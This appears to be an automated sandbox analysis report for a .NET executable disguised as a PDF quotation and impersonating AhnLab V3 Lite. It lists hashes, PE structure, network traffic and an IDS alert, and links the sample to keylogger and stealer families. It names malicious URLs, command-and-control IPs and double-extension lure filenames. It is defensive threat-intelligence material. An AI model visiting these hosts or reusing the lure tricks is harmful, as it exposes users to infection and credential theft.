HCA Information:	Successful, ratio: 85% Number of executed functions: 102 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 184.29.183.29
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:24:26	API Interceptor	604x Sleep call for process: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	ORDER 0284725.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	2025-04-23T00_36_20-FedEx.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.MalwareX-gen.20415.13206.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	Factura Honorarios.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ORDER-25790-4478.vbs	Get hash	malicious	WSHRat, Snake Keylogger	Browse	checkip.dyndns.org/
	Sat#U0131nalma Sipari#U015f Listesi.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	PENDING PAYMENT FOR JULY SOA.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	Payment reciept.pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.Mardom.PN.11.17656.13789.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.PackedNET.3294.28301.31533.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
104.21.16.1	Invoice.exe	Get hash	malicious	FormBook	Browse	www.uqcdnvgr.biz/z7hp/?6tLPzl7P=7pia7VgRB5HJEX70qKR71m8U7w3Bn5ZsZJwItP/VzX6mAto7UIgAASxl9TMIIpSOSj4RzwRZQJrVoZHZJsuQ0CJE2mJm7EARVzD6ANo0wAlL0zsi2g==&_h=WrI4X
	dhl_d_form.exe	Get hash	malicious	FormBook	Browse	www.roastroots.lol/3q6s/
	EVEGBPOK.msi	Get hash	malicious	Unknown	Browse	cdn-upload-files.buzz/c
	zZ25Km3aoh.exe	Get hash	malicious	FormBook	Browse	www.meshki-co-uk.shop/b8n0/
	Details Of Our PO..exe	Get hash	malicious	FormBook	Browse	www.eczanem.shop/3ujc/
	z1RFQQUOTATION_PMT.exe	Get hash	malicious	FormBook	Browse	www.roastroots.lol/hpwy/
	Payment Confirmation.exe	Get hash	malicious	FormBook	Browse	www.6644win.mom/hs6j/
	js (10).js	Get hash	malicious	Unknown	Browse	baredaseco.pro/1.php?s=flibabc11
	SJZNHTJR.msi	Get hash	malicious	Unknown	Browse	sonorous-horizon-cfd.cfd/c
	QCJXNDUD.msi	Get hash	malicious	Unknown	Browse	sonorous-horizon-cfd.cfd/c

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip.3007.filemail.com	QUOTATION_JANQUOTE312025#U00faPDF.scr	Get hash	malicious	MSIL Logger	Browse	193.30.119.107
ip.3007.filemail.com	QUOTATION_JANQUOTE312025#U00faPDF.scr	Get hash	malicious	Unknown	Browse	193.30.119.107
reallyfreegeoip.org	RicevutaBonificoSepa1745392212214#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	ORDER 0284725.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Shipment Document BLINV and packing list.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	Payment receipt.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	Product Order.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.64.1
	PO3301-241000072.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1
	ViHSmMuFt9W5KFM.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	XGhvEwdmXdK4KG3.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	25GP0089.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	1C25TMA_00000134.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
checkip.dyndns.com	RicevutaBonificoSepa1745392212214#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	ORDER 0284725.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Shipment Document BLINV and packing list.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	Payment receipt.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	158.101.44.242
	Product Order.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	P1CLT24008.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PO3301-241000072.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.130.0
	ViHSmMuFt9W5KFM.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.122.6.168
	XGhvEwdmXdK4KG3.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	25GP0089.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	jew.mips.elf	Get hash	malicious	Unknown	Browse	141.41.78.114
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	134.106.30.147
	meihao.m68k.elf	Get hash	malicious	Mirai	Browse	141.32.67.234
	jew.sh4.elf	Get hash	malicious	Unknown	Browse	141.93.110.71
	k1.elf	Get hash	malicious	Unknown	Browse	141.39.39.31
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	139.11.10.202
	sora.arm6.elf	Get hash	malicious	Mirai	Browse	141.39.219.155
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	141.30.199.127
	x32.elf	Get hash	malicious	Mirai	Browse	139.18.82.61
	nemil.mpsl.elf	Get hash	malicious	Mirai	Browse	141.23.151.212
CLOUDFLARENETUS	RicevutaBonificoSepa1745392212214#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	jew.arm.elf	Get hash	malicious	Unknown	Browse	104.24.135.194
	https://forms.office.com/e/cKTtUPrCQw	Get hash	malicious	Tycoon2FA	Browse	172.66.0.227
	http://www.usedtelecomworld.com/2025/04/prodia.html	Get hash	malicious	Unknown	Browse	104.21.11.190
	http://heartandsoil.co	Get hash	malicious	Unknown	Browse	104.17.202.53
	swift copy.exe	Get hash	malicious	FormBook	Browse	104.21.65.118
	ORDER 0284725.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Message.eml	Get hash	malicious	Unknown	Browse	104.16.99.29
	https://lean-gander-5e8.notion.site/Magreesource-1de0bcafc256806c850fdb36c2831d0d	Get hash	malicious	Tycoon2FA	Browse	104.18.41.41
	Message.eml	Get hash	malicious	Unknown	Browse	104.16.99.29
UTMEMUS	RicevutaBonificoSepa1745392212214#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	ORDER 0284725.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Shipment Document BLINV and packing list.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	XGhvEwdmXdK4KG3.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	2025-04-23T00_36_20-FedEx.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	SecuriteInfo.com.Win32.MalwareX-gen.20415.13206.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	SecuriteInfo.com.Win32.MalwareX-gen.31755.29106.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Factura Honorarios.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	ORDER-25790-4478.vbs	Get hash	malicious	WSHRat, Snake Keylogger	Browse	132.226.8.169
	Output.vbs	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	RicevutaBonificoSepa1745392212214#U00b7PDF.scr.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	ORDER 0284725.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	Shipment Document BLINV and packing list.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	Payment receipt.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	Product Order.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	PO3301-241000072.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	ViHSmMuFt9W5KFM.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	XGhvEwdmXdK4KG3.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	25GP0089.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	1C25TMA_00000134.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
3b5074b1b5d032e5620f69f9f700ff0e	Settings.exe	Get hash	malicious	XWorm	Browse	193.30.119.107
	Shipment Document BLINV and packing list.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.30.119.107
	Payment receipt.jpg.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	193.30.119.107
	RFQ_GU0002-Materials-Specifications-Order-pdf.exe	Get hash	malicious	Phantom stealer	Browse	193.30.119.107
	25GP0089.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.30.119.107
	Final Invoice_PL, Inv-116, Po-864 90249301_56B7850_56B7852_MX.exe	Get hash	malicious	AgentTesla	Browse	193.30.119.107
	po_EAG405_ANGELICOUSSIS GROUP.pdf.bat.exe	Get hash	malicious	Phantom stealer	Browse	193.30.119.107
	support.client.exe	Get hash	malicious	ScreenConnect Tool	Browse	193.30.119.107
	support.client.exe	Get hash	malicious	ScreenConnect Tool	Browse	193.30.119.107
	support.client.exe	Get hash	malicious	ScreenConnect Tool	Browse	193.30.119.107

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	3.6699566984344196
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
File size:	453'632 bytes
MD5:	06bb5bee224d3ded35e69f8366b52b3f
SHA1:	458ac3f50e6a32c9c1431bb5cc890af17c8618b8
SHA256:	b5c3c2778cc5501f0c069760375f772948672c3a48720eeee7e6b12db6c0dca7
SHA512:	a0a9a058a966b47d2cbb9ab5f21076949539ca14d6b59960e36f36b52124170c6aae2007f0793cf2aad2fe73176596aad40e7def8714555f63212183f70991e0
SSDEEP:	3072:PKolZg3UhZiHQuIM4QO19+SC06dfvrJ6WreYuyW:RT1QePefvUD
TLSH:	09A4B3193A789632DE48C77990E65E10D3E79E6D67D2D61924C4B2EC1B323BE8F031C6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$s.h................................. ........@.. .......................@............`................................

File Icon


Icon Hash:	0e3333b0bbb3b035

Static PE Info

General

Entrypoint:	0x41ebde
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x68087324 [Wed Apr 23 04:57:08 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1eb84	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x20000	0x51c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x72000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1cbe4	0x1cc00	b945cdfdc56bb5f9a9328e0988fd1d02	False	0.49643342391304346	data	6.010518477183243	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x20000	0x51c00	0x51c00	32dd9947519ed276167db288d6221e17	False	0.07139956039755352	data	2.3522151412721066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x72000	0xc	0x200	67acd03c7f8a090eec12f95f793dbacc	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x20370	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	0.7601351351351351
RT_ICON	0x20498	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 832	0.7155963302752294
RT_ICON	0x20800	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.6826241134751773
RT_ICON	0x20c68	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	0.5389784946236559
RT_ICON	0x20f50	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3200	0.470679012345679
RT_ICON	0x21bf8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.4378517823639775
RT_ICON	0x22ca0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1536	0.36402439024390243
RT_ICON	0x23308	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 7296	0.33110687022900764
RT_ICON	0x24fb0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.30881742738589213
RT_ICON	0x27558	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2560	0.2924174174174174
RT_ICON	0x27fc0	0x3228	Device independent bitmap graphic, 64 x 128 x 24, image size 12800	0.26580996884735203
RT_ICON	0x2b1e8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0	0.24244213509683515
RT_ICON	0x2f410	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 0	0.014139568600763382
RT_GROUP_ICON	0x71438	0xbc	data	0.5797872340425532
RT_VERSION	0x714f4	0x3ec	data	0.4063745019920319
RT_MANIFEST	0x718e0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments	AhnLab V3 Lite Main UI Application
CompanyName	AhnLab, Inc.
FileDescription	AhnLab V3 Lite Main UI Application
FileVersion	4.0.0.117
InternalName	Urtgk.exe
LegalCopyright	2018-2019 AhnLab, Inc. All rights reserved.
LegalTrademarks
OriginalFilename	Urtgk.exe
ProductName	AhnLab V3 Lite
ProductVersion	4.0.0.117
Assembly Version	4.0.0.117

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-23T17:25:24.692541+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49694	132.226.8.169	80	TCP

Network Port Distribution

Total Packets: 199
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2025 17:24:27.666641951 CEST	49681	80	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:27.969325066 CEST	80	49681	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:27.969497919 CEST	49681	80	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:27.970412970 CEST	49681	80	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:28.274441957 CEST	80	49681	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:28.277194977 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:28.277251959 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:28.277334929 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:28.293231010 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:28.293251038 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:28.317456007 CEST	49681	80	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.191855907 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.191956997 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.204519033 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.204551935 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.204833984 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.254935026 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.288456917 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.336273909 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.580646038 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.580667973 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.580732107 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.580740929 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.580745935 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.580774069 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.580790043 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.629890919 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.868556976 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868575096 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868648052 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868685007 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868712902 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.868732929 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868743896 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868751049 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.868774891 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868787050 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868808031 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.868813038 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:29.868861914 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:29.868896961 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156583071 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156652927 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156704903 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156732082 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156759024 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156780005 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156801939 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156832933 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156845093 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156852007 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156884909 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156886101 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156913996 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156920910 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.156965017 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.156979084 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.157037020 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.157080889 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.157098055 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.157104969 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.157139063 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.157155037 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447493076 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447566986 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447591066 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447607040 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447633028 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447664976 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447664976 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447675943 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447694063 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447696924 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447732925 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447740078 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447751999 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447772026 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447774887 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447786093 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447828054 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447850943 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447859049 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447866917 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447911978 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447922945 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447933912 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.447988987 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.447995901 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448009014 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448057890 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448071957 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.448077917 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448102951 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.448113918 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448179960 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448180914 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.448190928 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448261023 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.448287010 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448338985 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:30.448339939 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:30.448355913 CEST	443	49682	193.30.119.107	192.168.2.7
